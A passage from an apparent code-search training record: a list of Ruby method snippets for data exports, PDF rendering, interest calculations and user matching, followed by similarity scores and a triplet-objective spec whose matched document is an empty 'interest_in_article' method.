data.dig(:transfers, :checked).present?\n transfers = transfers_by_patient_ids(patient_ids)\n exported_data[:transfers] = extract_transfers_details(transfers, data[:transfers][:checked])\n end\n\n if data.dig(:histories, :checked).present?\n histories = histories_by_patient_ids(patient_ids)\n exported_data[:histories] = extract_histories_details(histories, data[:histories][:checked])\n end\n\n exported_data\n end",
"def base_to_subjects(base, filename)\n print \".\"\n @lines << subject_to_csv_line(base, filename)\n end",
"def show\n @subcategory = Subcategory.all\n# respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @subcategory }\n# end\n\tprawnto :filename => 'Report-SubCategories.pdf', :inline => false\n end",
"def get_export_fields_from_pdf_to_fdf_in_storage_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_export_fields_from_pdf_to_fdf_in_storage ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_export_fields_from_pdf_to_fdf_in_storage\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/export/fdf\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['multipart/form-data'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_export_fields_from_pdf_to_fdf_in_storage\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def read\n $t1 = Time.now # Init procedure timestamp\n person = []\n IO.foreach(\"data_500.txt\") do |line| # Get all patients from file iterate each line\n line.chomp! # Remove trailing whitespace.\n person.push(line.split(\":\")) # Saving data split :\n end\n group(person) # Get blood type\n end",
"def to_csv\n [@record_id, @email, @phone, @name_prefix, @first_name, @middle_name, @last_name, @name_suffix, @name_phonetic]\n end",
"def attachments_for_report\n [\n {\n title: \":writing_hand: You asked to create a report.\",\n text: \"You'll need to speak to the HR team to make a \"\\\n \"formal report. Can I pass your details onto them?\",\n actions: [\n {\n name: \"report_response\",\n text: \"Yes\",\n type: \"button\",\n value: \"yes\"\n },\n {\n name: \"report_response\",\n text: \"No\",\n type: \"button\",\n value: \"no\"\n }\n ]\n }\n ]\n end",
"def export(chapter, start_date, end_date)\n start_date = start_date.to_date\n end_date = end_date.to_date\n @chapter = chapter\n people = []\n\n\n shift_data = CSV.generate do |csv|\n csv << [\"County\", \"Start\", \"End\", \"On Call Person IDs\"] + (1..20).map{|x| \"On Call #{x}\"}\n chapter.counties.each do |county|\n config = Scheduler::DispatchConfig.for_county county\n next unless config.is_active\n people = people + config.backup_list\n (start_date..end_date).each do |date|\n Scheduler::ShiftGroup.where(chapter_id: chapter, period: 'daily').order(:start_offset).each do |group|\n shifts = group.shifts.where(county_id: county).where(\"dispatch_role is not null\").order(:dispatch_role)\n shifts = shifts.map{|sh| Scheduler::ShiftAssignment.where(date: date, shift_id: sh).first }.compact\n people = people + shifts.map(&:person)\n person_list = shifts.map(&:person_id) + config.backup_list.map(&:id)\n csv << ([county.name, local_offset(date, group.start_offset), local_offset(date, group.end_offset)] + person_list)\n end\n end\n end\n end\n\n person_data = CSV.generate do |csv|\n csv << [\"Person ID\", \"Last Name\", \"First Name\", \"Primary Phone\", \"Secondary Phone\", \"SMS Phone\", \"OnPage ID\", \"Email\"]\n people.uniq.each do |person|\n phones = person.phone_order\n csv << [person.id, person.last_name, person.first_name, format_phone(phones[0]), format_phone(phones[1]), format_phone(person.phone_order(sms_only: true).first), \"\", \"\"] \n end\n end\n\n attachments[\"shift_data.csv\"] = shift_data\n attachments[\"roster.csv\"] = person_data\n\n mail to: \"[email protected]\", subject: \"Red Cross Export - Chapter #{chapter.code}\", body: \"Export processed at #{Time.zone.now}\"\n end",
"def get_attach_file_name staff_id_hash, serial_number, base_url\n\n f = File.open(\"#{Rails.root}/lib/tasks/doc_template/template.doc\")\n doc = ''\n\n f.each do |line|\n doc += line\n end\n f.close\n\n # insert staff_id serial number into doc file\n new_doc = doc.gsub(/%URL%/, base_url.gsub(/%TYPE%/, SendMember::TYPE_FILE_OPEN))\n file_name = \"#{Rails.root}/lib/tasks/doc_template/send/#{Staff.decrypt(staff_id_hash)}_#{serial_number}.doc\"\n f = File.open(file_name, 'w')\n f.write new_doc\n f.close\n\n file_name\n end",
"def show\n respond_to do |format|\n format.html\n format.pdf do\n pdf = BatchPdf.new(@batch, view_context)\n filename = @batch.date_collected.to_s.gsub(/[^0-9a-z]/, \"_\") + \"_batch\" + \".pdf\"\n send_data pdf.render, filename: filename,\n type: \"application/pdf\",\n disposition: \"inline\"\n end\n end\n end",
"def download\n\t\t@testruns = Testrun.where(:test_suites_id => params[:id])\n\t\t@suite = TestSuites.find(params[:id])\n\t\trespond_to do |format| \n\t\t\tformat.xlsx {render xlsx: 'download', filename: \"testsuite-#{params[:id]}.xlsx\"}\n\t\tend\n\tend",
"def show\n @cover = Cover.find(params[:id])\n\n respond_to do |format|\n format.html { send_file(@cover.build_pdf, :type => 'application/pdf', :page => '1') }\n\n ### returns pdf for the client\n format.json { send_file(@cover.build_pdf, :type => 'application/pdf', :page => '1') }\n end\n end",
"def show\n @hospital_referral = HospitalReferral.find(params[:id])\n @name = @hospital_referral.patient_name #Get name to search for below\n @patient = Patient.find_by_name(@name)# Get the patient model by name instead of id From: https://stackoverflow.com/questions/5572266/rails-3-find-by-name-instead-of-id\n @user_name = \"#{current_user.first_name} #{current_user.last_name}\" #Get current user details\n @user_clinic = current_user.clinic\n @user_email = current_user.email\n @patientdob = Date.parse(@patient.dob).strftime(\"%Y\").to_i\n @ward = Whichward.check((Time.current.year)-@patientdob)\n\n\n respond_to do |format|\n format.html\n format.pdf do\n pdf = ReferralPdf.new(@hospital_referral,@patient, @user_name, @user_clinic, @user_email, @ward)\n send_data pdf.render, filename: \"Hospital Referral\",\n type: \"application/pdf\",\n disposition: \"inline\"\n \n end\n end\nend",
"def show\n if !has_required_http_params?(params)\n # incomplete/invalid HTTP params\n render 'shared/http_status', :locals => { :code => \"422\", :message => HttpStatusHelper::ERROR_CODE[\"message\"][\"422\"] }, :status => 422\n return\n end\n # check if there's a valid submission\n submission = Submission.get_submission_by_group_and_assignment(params[:group_name],\n params[:assignment])\n if submission.nil?\n # no such submission\n render 'shared/http_status', :locals => { :code => \"404\", :message => \"Submission was not found\" }, :status => 404\n return\n end\n # request seems good\n test_result = submission.test_results.find_by_filename(params[:filename])\n if !test_result.nil?\n # Everything went fine; send file_content\n send_data test_result.file_content, :disposition => 'inline',\n :filename => test_result.filename\n return\n end\n # The test result in question does not exist\n render 'shared/http_status', :locals => { :code => \"404\", :message => \"Test result was not found\" }, :status => 404\n return\n end",
"def show\n @bill = Bill.find_by_name(URI.unescape(params[:name]))\n \n # set filename :format => fct_Cutomer-fullname_bill-reference_bill-effective-date.pdf\n prawnto :filename => \"fct_#{@bill.customer_fullname_with_underscore}_#{@bill.reference}_#{@bill.effective_date}.pdf\"\n\n respond_to do |format|\n format.pdf\n end\n end",
"def get_transcription(recording_id, format = :text)\n format_type = case format\n when :text\n \"Text\"\n else\n format.to_s.upcase\n end\n\n response = @savon.call :get_transcription, message: { 'wsdl:sessionID' => @session_id, \n 'wsdl:recId' => recording_id, \n 'wsdl:formattingType' => format_type }\n\n error_message = response.body[:get_transcription_response][:error_message]\n raise error_message if error_message\n\n transcription = response.body[:get_transcription_response][:get_transcription_result]\n\n raise \"Transcription unable to be downloaded\" if transcription.nil?\n\n Base64.decode64(transcription)\n end",
"def pdf_list_payers\n @insurance = load_insurance\n @rotation = @insurance.rotations.last\n\n respond_to do |format|\n format.pdf do\n pdf = ListPayersPdf.new(@rotation, view_context)\n send_data pdf.render,\n filename: \"#{@insurance.number}_rotation_#{@rotation.rotation_date.strftime(\"%Y-%m-%d\")}_list_payers.pdf\",\n type: \"application/pdf\",\n disposition: \"inline\" \n end\n end \n end",
"def download_issues\n import_job = ImportJob.find(params[:import_job_id])\n @output_csv_string = import_job.download_issues_csv_string\n respond_to do |format|\n format.csv do\n filename = \"#{File.basename(import_job.file_name, '.csv')}-import_issues_report-#{Time.now.strftime(\"%Y%m%d\")}.csv\"\n if request.env['HTTP_USER_AGENT'] =~ /msie/i\n headers['Pragma'] = 'public'\n headers[\"Content-type\"] = \"text/plain\"\n headers['Cache-Control'] = 'no-cache, must-revalidate, post-check=0, pre-check=0'\n headers['Content-Disposition'] = \"attachment; filename=\\\"#{filename}\\\"\"\n headers['Expires'] = \"0\"\n else\n headers[\"Content-Type\"] ||= 'text/csv'\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"#{filename}\\\"\"\n end\n end\n end\n end",
"def test_notes_export_format\n assert_equal(\n \"\",\n observations(:minimal_unknown_obs).notes_export_formatted\n )\n\n assert_equal(\n \"Found in a strange place... & with śtrangè characters™\",\n observations(:detailed_unknown_obs).notes_export_formatted\n )\n assert_equal(\n \"substrate: soil\",\n observations(:substrate_notes_obs).notes_export_formatted\n )\n assert_equal(\n \"substrate: soil\\nOther: slimy\",\n observations(:substrate_and_other_notes_obs).notes_export_formatted\n )\n end",
"def trash_report\n respond_to do |format|\n format.html\n @trash = Trash.all\n @user = current_user\n \n #generate pdf file\n pdf = TrashPdf.new(@trash, @user)\n send_data pdf.render, :filename => 'trashReport-' + Time.now.to_date.to_s + '.pdf', :type => 'application/pdf', :disposition => 'attachment'\n end\n end",
"def exportAnnualFiles()\r\n years = @messages.getYears()\r\n years.each { |year|\r\n exportAnnualFile(year)\r\n }\r\n end",
"def process_detail_file(file_path)\n errors.add(:retrieved_at, \"can only be retrieved once\") and return false if retrieved?\n begin\n log \"process_detail_file(#{file_path})\"\n participant_ids = []\n CSV.foreach(file_path, :headers => true) do |row|\n attrs = row.to_hash\n log \" \"\n log \"Processing row: \" + attrs.inspect\n if attrs[\"Record Found Y/N\"] == \"Y\"\n participant_id = attrs[\"Requester Return Field\"]\n participant_ids << participant_id\n participant = Participant.find(participant_id) rescue nil\n if participant\n log \" -> MATCHED to participant id #{participant.id}\"\n participant.update_attribute(:clearinghouse_record_found, true)\n else\n log \" -> PARTICIPANT NOT FOUND\"\n next\n end\n if attrs[\"Graduated?\"] == \"Y\"\n create_college_degree_from(attrs, participant_id)\n else\n create_college_enrollment_from(attrs, participant_id)\n end\n else\n log \" -> NO NSC RESULT RETURNED\"\n end\n end\n log \"Done - updating request metadata\"\n update_attributes(\n :retrieved_at => Time.now,\n :number_of_records_returned => participant_ids.uniq.size\n )\n end\n store_files(file_path)\n store_log_file_permanently!\n end",
"def patients_to_phdc_zip(patients, jurisdiction)\n jurisdiction_path_string = jurisdiction[:path]\n stringio = Zip::OutputStream.write_buffer do |zio|\n patients.each do |patient|\n zio.put_next_entry(\"records/#{patient.id}.xml\")\n zio.write patient_to_phdc(patient, jurisdiction_path_string, patient.assessments.where(symptomatic: true))\n end\n end\n stringio.set_encoding('UTF-8')\n end"
] |
[
"0.70940155",
"0.6474332",
"0.6262047",
"0.5541518",
"0.55240214",
"0.5516998",
"0.54519105",
"0.5437547",
"0.5414184",
"0.53596485",
"0.52981913",
"0.52898586",
"0.52839094",
"0.5240179",
"0.5234723",
"0.5233444",
"0.5215507",
"0.51583743",
"0.51027083",
"0.50766706",
"0.50744396",
"0.5073701",
"0.5071534",
"0.506497",
"0.5041159",
"0.50364983",
"0.50364983",
"0.50315684",
"0.50147134",
"0.5013113",
"0.50091076",
"0.50072503",
"0.50056916",
"0.49956554",
"0.4992151",
"0.4990527",
"0.49825767",
"0.4968718",
"0.49685127",
"0.49391493",
"0.49382564",
"0.49364018",
"0.49302727",
"0.4929005",
"0.4928757",
"0.4926176",
"0.49107084",
"0.49081814",
"0.49025863",
"0.4895552",
"0.48907056",
"0.4883125",
"0.48794377",
"0.4879075",
"0.48728746",
"0.48684236",
"0.48667848",
"0.4866215",
"0.48646072",
"0.48528278",
"0.48459592",
"0.48334327",
"0.48279548",
"0.48274904",
"0.4822606",
"0.48151058",
"0.48101145",
"0.48098597",
"0.4808301",
"0.4807036",
"0.4806972",
"0.48061314",
"0.48023346",
"0.4800565",
"0.47988993",
"0.47899476",
"0.47828817",
"0.47812653",
"0.47790837",
"0.477271",
"0.47721872",
"0.47715724",
"0.4758972",
"0.47585198",
"0.4753989",
"0.4751543",
"0.47487018",
"0.47485536",
"0.47374249",
"0.47352993",
"0.4728",
"0.47271317",
"0.47268745",
"0.4721699",
"0.47199264",
"0.47171435",
"0.47153187",
"0.47152638",
"0.47132885",
"0.4713237"
] |
0.6690141
|
1
|
todo. these should show how aligned the user is with the group. and calculate the general interst and then compare it to you. if there is a strong corolation, there is a stronger interest.
|
def interest_in_article(article)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def count_common_interests(interests, current_user)\n total_interests_in_common = 0\n interests.each do |interest|\n if current_user.user_interests.any?(interest)\n total_interests_in_common += 1\n end\n end\n # return total interest count\n total_interests_in_common\n end",
"def match_score(other_user)\n num = 0\n denom = 1\n my_answer_choices = self.user_answers.map{|i| i.answer_choice}\n other_answer_choices = other_user.user_answers.map{|i| i.answer_choice}\n my_questions = my_answer_choices.map{|i|i.question}\n other_questions = other_answer_choices.map{|i|i.question}\n questions = my_questions & other_questions\n questions.each do |question|\n my_answ = my_answer_choices.detect{|choice| choice.question_id == question.id}\n their_answ = other_answer_choices.detect{|choice| choice.question_id == question.id}\n weight = self.user_answers.detect{|answer| answer.answer_choice_id == my_answ.id}.weight\n num += weight if my_answ == their_answ\n denom += weight\n end\n return num.to_f/denom * 100\n end",
"def place_apprentices_by_requests\n def find_student_by_request(team)\n this_obj = team[:objective_id]\n these_studs = @sem_studs_hash\n .select{|x|\n x[:learn_request] == this_obj &&\n @unplaced_students.include?(x[:user])\n }.map{|x| x[:user]}\n \n this_score = @score_hash.detect{|x|\n x[:obj] == this_obj &&\n these_studs.include?(x[:user]) &&\n x[:total_keys] < 1\n }\n \n if this_score\n this_user = this_score[:user]\n add_to_group(team, this_user)\n adjust_unplaced_students(this_user)\n end\n end\n \n 4.times do\n @teams.each do |team|\n find_student_by_request(team)\n end\n end\\\n end",
"def check_split\n (meal + ((meal * tip) / 100)) / group\n end",
"def group_students\n\n\n # retrieve the student\n students = @students.values\n students.sort! { |a,b| a.get_percent_correct <=> b.get_percent_correct }\n\n students_size = students.size \n n = students_size / 3\n\n\n @group_low = divide_students_to_group(0, n-1, students)\n @group_mid = divide_students_to_group(n, n*2-1, students)\n @group_high = divide_students_to_group(n*2, students_size-1, students)\n\n\n end",
"def calculateInterest\n\t\tinterest = 0\n\t\[email protected] do |trans|\n\t\t\tinterest += -1 * ((31 - trans[0]) * trans[-1] * @APR / 365)\n\t\tend\n\t\tinterest < 0 ? 0 : interest.round(2)\n\tend",
"def net_payments(current_user_id)\n payments = {\"you_are_owed\" => {}, \"you_owe\" => {}}\n # {\"Matt\"=>15.0, \"Sam\"=>10.0, \"Drew\"=>10.0, \"Tristan\"=>22.22} you_are_owed\n # {\"Matt\"=>11.11, \"Kyle\"=>25.22, \"Dega\"=>30.22, \"Drew\"=>30.22} you_owe\n\n you_owe_hash = you_owe(current_user_id)\n you_are_owed_hash = you_are_owed(current_user_id)\n\n\n # Find all the uniq keys of the two hashes, then sum the you_are_owed - you_owe, if value is positive, you are owed that amount, if value is negative you owe that amount\n user_payments = you_owe_hash.keys + you_are_owed_hash.keys\n user_payments = user_payments.uniq\n\n user_payments.each do |user|\n # user is in you_owe_hash and NOT you_are_owed_hash\n if you_owe_hash.has_key?(user) && !you_are_owed_hash.has_key?(user)\n payments[\"you_owe\"][user] = you_owe_hash[user]\n # user is NOT in you_owe_hash and in you_are_owed_hash\n elsif !you_owe_hash.has_key?(user) && you_are_owed_hash.has_key?(user)\n payments[\"you_are_owed\"][user] = you_are_owed_hash[user]\n # user is in both you_owe hash and you_are_owed hash\n else\n amount = (you_are_owed_hash[user] - you_owe_hash[user]).round(2)\n if amount > 0\n # Goes to you are owed\n payments[\"you_are_owed\"][user] = amount\n\n elsif amount < 0\n payments[\"you_owe\"][user] = -amount\n # Goes to you owe\n end\n end\n end\n\n payments\n\n end",
"def calculate_interest(principal, roi, time)\n rate = roi.to_f / 100\n amount = principal.to_f * (1 + rate * time.to_f)\n\n amount\nend",
"def choose\n other_users = User.all.where.not id: current_user.id\n clubs = Hash.new 0\n other_users.each do |other_user|\n other_user_clubs = Club.left_joins(:club_matches,:users).where(:users=> {id:other_user.id},:club_matches=>{matched:1})\n current_user_clubs = Club.left_joins(:club_matches,:users).where(:users=> {id:current_user.id},:club_matches=>{matched:1})\n\n common_clubs = other_user_clubs & current_user_clubs\n weight = (common_clubs.length.to_f * 100/ other_user_clubs.length)\n other_user_clubs.each do |club|\n if !common_clubs.include?(club)&& !current_user_clubs.include?(club)\n clubs[club] += weight\n end\n end\n end\n\n clubs.each do |club, v|\n common_interest_count = (current_user.interests & club.interests).length\n if clubs[club] >= 1\n clubs[club] = clubs[club] + ((5 * common_interest_count)/clubs[club]) + (rand(-14..14)/7)\n else\n clubs[club] = clubs[club] + (10 * common_interest_count) + (rand(-14..14).to_f/7)\n end\n clubs[club] = clubs[club].round(2)\n end\n @clubs = clubs.sort_by{ |k, v| v }.reverse\n end",
"def worst_user\n @group_users.min_by(&:get_rate)\n end",
"def match_percentage(other_username)\n other_user = User.includes(:answers).find_by(username: other_username)\n my_total = 0\n my_running_total = 0\n their_total = 0\n their_running_total = 0\n\n if other_user\n mutual_answers(other_user).each do |answer_pair|\n mine = answer_pair.first\n theirs = answer_pair.last\n\n my_total += mine.importance\n their_total += theirs.importance\n\n if ids_checker(mine.acceptable_ids, theirs.chosen_ids)\n my_running_total += mine.importance\n end\n\n if ids_checker(theirs.acceptable_ids, mine.chosen_ids)\n their_running_total += theirs.importance\n end\n end\n\n if my_total == 0 || their_total == 0\n return 0\n end\n\n my_ratio = my_running_total.to_f / my_total\n their_ratio = their_running_total.to_f / their_total\n\n Math.sqrt(my_ratio * their_ratio) * 100\n else\n nil\n end\n end",
"def match\n users_that_match = []\n User.collect_users_and_interests.each do |user, interests_array|\n total_match = count_common_interests(interests_array, self)\n if (is_a_match(total_match) == true) && (user.id != self.id) && (user.location_id == self.location_id)\n users_that_match << user\n end\n end\n users_that_match\n end",
"def find_user_split_amt(all_users, equal_share , current_user)\n\t\tresult_array = [];\n\t\ttmp_array = all_users.map{|user| [user.email, equal_share - user.user_expense(self.id)]}\n\t\tp_array = tmp_array.select{|email, v| v > 0 }\n\t\tn_array = tmp_array - p_array\n\t\t#n_array = tmp_array.select{|email, v| v < 0 }\n\n\t\tp_array.each_with_index do |p_record, p_index|\n\t\t\tn_array.each_with_index do |n_record, n_index|\n\t\t\t\tif n_record[1].abs > p_record[1]\n\t\t\t\t\tputs \"#{p_record[0]} will pay to #{n_record[0]} value = #{p_record[1]}\"\n\t\t\t\t\tresult_array = create_result_set(p_record, n_record, current_user, result_array, p_record[1])\n\t\t\t\t\tn_value = n_record[1].abs - p_record[1]\n\t\t\t\t\tn_array[n_index] = [n_record[0], n_value]\n\t\t\t\t\tn_record = [n_record[0], n_value]\n\t\t\t\t\tp_array[p_index] = [p_record[0], 0]\n\t\t\t\t\tp_record = [p_record[0], 0]\n\t\t\t\telse\n\t\t\t\t\tputs \"#{p_record[0]} will pay to #{n_record[0]} value = #{n_record[1].abs}\"\n\t\t\t\t\tresult_array = create_result_set(p_record, n_record, current_user, result_array, n_record[1].abs)\n\t\t\t\t\tvalue = p_record[1] - n_record[1].abs\n\t\t\t\t\tp_array[p_index] = [p_record[0], value]\n\t\t\t\t\tp_record = [p_record[0], value]\n\t\t\t\t\tn_record = [n_record[0], 0]\n\t\t\t\t\tn_array[n_index] = [n_record[0], 0]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn result_array\n\tend",
"def wants_to_be_interviewed(user)\n\t\t@user, @profile = user, user.profile\n\t\tif user.wants_to_be_interviewed\n\t\t\tsendgrid_category 'Provider Wants To Be Interviewed'\n\t\t\tmail subject: 'Provider wants to be interviewed for articles', to: ADMIN_EMAIL\n\t\telse\n\t\t\tsendgrid_category 'Provider No Longer Wants To Be Interviewed'\n\t\t\tmail subject: 'Provider no longer wants to be interviewed for articles', to: ADMIN_EMAIL\n\t\tend\n\tend",
"def possessive(user)\n return 'your' if (user == current_user)\n return 'their' unless user.contact_information && user.contact_information.gender\n user.contact_information.gender == 'male' ? 'his' : 'her'\n end",
"def calculate_interest principle, days_since\n (principle * APR / 365 * days_since).round(2)\n end",
"def process_review_confidence(group)\n group_id = group.nil? ? 0 : group.id\n weight_value_pairs = []\n SocialNewsConfig[\"review_weighting_component_weights\"].each do |component, weight|\n value = case component\n when \"member_rating\"\n @review.member_rating(group) ** SocialNewsConfig[\"member_level_weight_exponent\"]\n when \"quality_ratings_completeness\"\n (@review.ratings.length / Rating.criteria_keys_by_type(\"quality\").length * 5).constrain(1..5)\n when \"monitoring_rating\"\n @review.component_rating(\"knowledge\")\n when \"meta_review_rating\"\n @processed_ratings[group_id][\"meta\"]\n end\n weight_value_pairs.push({:value => value, :weight => weight }) if !value.nil?\n end\n unscaled_confidence = Ratings::do_weighted_average(weight_value_pairs)\n @processed_ratings[group_id][\"confidence\"] = unscaled_confidence / Ratings::ReviewProcessor.max_confidence_rating\n end",
"def score_for_group group\r\n score = 0\r\n group.seminarians.each do |sem|\r\n # Exponential penalty\r\n if self.times_with_seminarian(sem) == 0\r\n score += 0\r\n else\r\n score += self.schedule_dataset.seminarians_per_group ** (self.times_with_seminarian(sem) - 1)\r\n end\r\n end\r\n \r\n return score\r\n end",
"def age_group\n # NOTE: This method may be called before saving, so database queries are a no-no!\n\n season = self.performance.contest.season\n\n if self.solo? || (self.accompaniment? && !self.performance.category.popular?)\n # Soloists and non-popular accompanists have their own age group\n calculate_age_group(self.participant.birthdate, season)\n elsif self.ensemble?\n # Ensemble players share an age group\n ensemble_appearances = self.performance.appearances.select(&:ensemble?)\n calculate_age_group(ensemble_appearances.map { |a| a.participant.birthdate }, season)\n else\n # Pop accompanists share an age group (excluding the soloist)\n accompanist_appearances = self.performance.appearances.select(&:accompaniment?)\n calculate_age_group(accompanist_appearances.map { |a| a.participant.birthdate }, season)\n end\n end",
"def calculate_years(principal, interest, tax, desired)\n total = principal\n years = 0\n loop do\n break if total >= desired\n total_interest = total*interest\n total += total_interest\n total -= total_interest*tax\n years += 1\n end\n years\nend",
"def pay_interest!(entity)\n owed = interest_owed(entity)\n # This is here so that the log message does not get duplicated.\n if corp_has_new_zealand?(entity) && entity.loans.size.positive?\n @log << \"#{entity.name}'s token in Nieuw Zeeland covers one loan's worth of interest\"\n end\n return super unless owed.negative?\n\n # Negative interest -> corporation has New Zealand\n @log << \"#{entity.name} gets $20 for having a token in Nieuw Zeeland and no loans\"\n entity.spend(owed, bank, check_cash: false, check_positive: false)\n nil\n end",
"def matching_fitness(self_survey, user_survey)\n fitness = 0\n if self_survey.sociality == user_survey.sociality then fitness += 1 end\n if self_survey.familiarity == user_survey.familiarity then fitness += 1 end\n if self_survey.awaken == user_survey.awaken then fitness += 1 end\n if self_survey.smoke == user_survey.smoke then fitness += 1 end\n if self_survey.game == user_survey.game then fitness += 1 end\n if self_survey.waketime == user_survey.waketime then fitness += 1 end\n return fitness\n end",
"def user_outstanding_balance(user, group_custom_biller = nil)\n if group_custom_biller.present?\n # only participations and subscriptions for biller\n invoiceable_reservations = invoiceable_game_passes = []\n else\n invoiceable_reservations = user_reservations(user).invoiceable\n invoiceable_game_passes = game_passes.where(user: user).invoiceable\n end\n\n invoiceable_participations = participations_by_biller(group_custom_biller).\n where(user: user).invoiceable\n invoiceable_group_subscriptions = group_subscriptions_by_biller(group_custom_biller).\n where(user: user).invoiceable\n\n invoiceable_reservations.map { |r| r.outstanding_balance || 0.to_d }.sum.to_d +\n invoiceable_game_passes.map { |r| r.price || 0.to_d }.sum.to_d +\n invoiceable_participations.map { |r| r.price || 0.to_d }.sum.to_d +\n invoiceable_group_subscriptions.map { |r| r.price || 0.to_d }.sum.to_d\n end",
"def gain_interest\n interest_amount = (@balance * @interest_rate) / 100\n @balance = interest_amount + @balance\n end",
"def similarity(other_user)\n return 0 if common_bands(other_user).empty?\n\n 1 / (1 + cumulative_euclidean_distance(other_user))\n end",
"def gain_interest\n @balance *= (1 + @interest_rate)\n end",
"def anticipated_interest(rate, periods)\n\t\t (1 - (( 1 / ( rate.to_f + 1 )) ** (1.0 / periods)))\n\t\tend",
"def similarity(user1, user2)\n if @userdata.has_key? user1.to_s.to_sym and @userdata.has_key? user2.to_s.to_sym\n\n sim_rating = 0\n user1ratings = @userdata[user1.to_s.to_sym]\n user2ratings = @userdata[user2.to_s.to_sym]\n user2ids = []\n user2ratings.each{ |id, rating| user2ids.push id }\n user1ratings.each{ |id, rating| sim_rating += 5 - (rating - user2ratings[user2ids.index id][1]).abs if user2ids.include? id}\n return sim_rating\n else\n puts \"User not found\"\n return nil\n end\n end",
"def calculate_years(principal, interest, tax, desired)\n i = 0\n return i if principal == desired\n \n while principal < desired\n principal += (principal * interest) - (principal * interest * tax)\n i += 1\n end\n \n i\nend",
"def similarity u1, u2\n u1_r = @usr_rating[u1]\n u2_r = @usr_rating[u2]\n common = u1_r.keys & u2_r.keys\n\n mean_diff = 0\n common.each do |mv|\n mean_diff += diff(u1_r[mv], u2_r[mv]).to_f / common.length\n end\n return ((5 - mean_diff)/5).round(2)\n end",
"def generate_score(other_user)\n time_correlation = self.featureVector(:schedule).inner_product other_user.featureVector(:schedule)\n skill_correlation = 5 - (self.featureVector(:skill_set).inner_product other_user.featureVector(:skill_set))\n #return time_correlation - skill_correlation\n \n return Vector[time_correlation, skill_correlation].normalize.sum / 2\n end",
"def calc_skill_names(match_id_groups_array, prev_type_exists, primary_pct, secondary_pct)\n is_primary_found = false\n primary_pct = 5 if prev_type_exists\n \n match_id_groups_array.each do |match_id_group|\n \n match_id_group.each do |match_id|\n if @matched_cells.has_key?(match_id)\n if !is_primary_found\n @pct += primary_pct\n is_primary_found = true\n else\n @pct += secondary_pct\n end\n \n break\n end\n end\n \n end\n end",
"def score\n track_similarity = shared_count(:tracks) / (((@user1.tracks.uniq.count + @user2.tracks.uniq.count) - shared_count(:tracks)) * 1.0)\n artist_similarity = shared_count(:artists) / (((@user1.artists.uniq.count + @user2.artists.uniq.count) - shared_count(:artists)) * 1.0)\n genre_similarity = shared_count(:genres) / (((@user1.genres.uniq.count + @user2.genres.uniq.count) - shared_count(:genres)) * 1.0)\n\n # Maximum possible raw score is seven (with yourself). Most people are between 0 and 1.\n raw = (track_similarity * 4) + (artist_similarity * 2) + (genre_similarity * 1)\n score = raw * 100\n score.round\n end",
"def score\n track_similarity = shared_count(:tracks) / (((@user1.tracks.uniq.count + @user2.tracks.uniq.count) - shared_count(:tracks)) * 1.0)\n artist_similarity = shared_count(:artists) / (((@user1.artists.uniq.count + @user2.artists.uniq.count) - shared_count(:artists)) * 1.0)\n genre_similarity = shared_count(:genres) / (((@user1.genres.uniq.count + @user2.genres.uniq.count) - shared_count(:genres)) * 1.0)\n\n # Maximum possible raw score is seven (with yourself). Most people are between 0 and 1.\n raw = (track_similarity * 4) + (artist_similarity * 2) + (genre_similarity * 1)\n score = raw * 100\n score.round\n end",
"def invention_chance\n\tbase_chance = 0.0\n\tgid = self.item.groupID\n\ttid = self.item.typeID\n\tif gid == 27 || gid == 419 || tid == 22544\n\t\tbase_chance = 0.2\n\telsif gid == 26 || gid == 28 || tid == 22548\n\t\tbase_chance = 0.25\n\telsif gid == 25 || gid == 420 || gid == 513 || tid == 22546\n\t\tbase_chance = 0.3\n\telse\n\t\tbase_chance = 0.4\n\tend\n\n# TODO determine which datacores are needed and the skill level associated with that datacore\n# character = Character.find(char_id)\n# encryption_skill_level = character.skill_level(...)\n# datacore_1_skill_level = character.skill_level(...)\n# datacore_2_skill_level = character.skill_level(...)\n\tencryption_skill_level = 3\n\tdatacore_1_skill_level = 3\n\tdatacore_2_skill_level = 3\n\tmeta_level = 0\n\tdecryptor_modifier = 1.0\n\tbase_chance * (1.0 + (0.01 * encryption_skill_level)) * (1.0 + ((datacore_1_skill_level + datacore_2_skill_level) * (0.1 / (5.0 - meta_level)))) * decryptor_modifier\nend",
"def savings_portion_needed\n adjusted_target_income - (self.social_security + self.pensions + self.other_income)\n end",
"def check_teacher_prize_eligibility\n completed_students = 0\n completed_female_students = 0\n total_students = self.students.length\n if total_students >= STUDENTS_COMPLETED_FOR_PRIZE\n self.students.each do |student|\n if student.prize_earned && student.valid_prize_teacher.try(:id) == self.id\n completed_students += 1\n if student.gender == \"f\"\n completed_female_students += 1\n end\n end\n end\n end\n\n teacher_prize = completed_students >= STUDENTS_COMPLETED_FOR_PRIZE\n teacher_bonus_prize = teacher_prize && (completed_female_students >= STUDENTS_FEMALE_FOR_BONUS)\n return teacher_prize, teacher_bonus_prize\n end",
"def calcularIntensidad\n grados = fuzzyfication\n intensidad = defuzzyfication(grados)\n intensidad\n end",
